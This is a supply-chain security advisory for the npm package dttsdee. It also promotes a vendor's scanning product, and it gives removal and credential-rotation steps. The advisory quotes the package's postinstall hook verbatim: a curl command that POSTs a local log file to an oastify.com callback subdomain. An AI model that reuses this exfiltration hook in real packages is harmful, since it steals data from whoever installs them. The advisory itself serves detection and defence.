dttsdeenpm
Malicious code in dttsdee (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
package.json declares a postinstall lifecycle script that runs automatically on npm install: curl -X POST -d "$(cat /data/logs/monitor-2026-06-25.log)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data. The hook reads a file from the installer's filesystem and POSTs its contents over cleartext HTTP to an attacker-controlled subdomain on oastify.com (Burp Suite's Collaborator out-of-band callback service, commonly used for data exfiltration and SSRF research). The package advertises itself as a string-utility library (easy-string-kit in source) but is published under the unrelated name dttsdee with empty author/repository/homepage/bugs metadata; the innocuous string-helper code in index.js is cover for the install-time exfiltration. The combination of generic placeholder metadata, mismatched name/internal-description, and an automatic OOB exfil beacon on a researcher/attacker callback domain is a throwaway malicious package (likely dependency-confusion PoC or active attack).
The OpenSSF Package Analysis project identified 'dttsdee' @ 1.0.0 (npm) as malicious.
It is considered malicious because:
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The package communicates with a domain associated with malicious activity.
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The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for dttsdee (version 1.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging dttsdee across your stack and pipelines.
If you installed it — respond
dttsdee is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If dttsdee was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks dttsdee before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks dttsdee-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.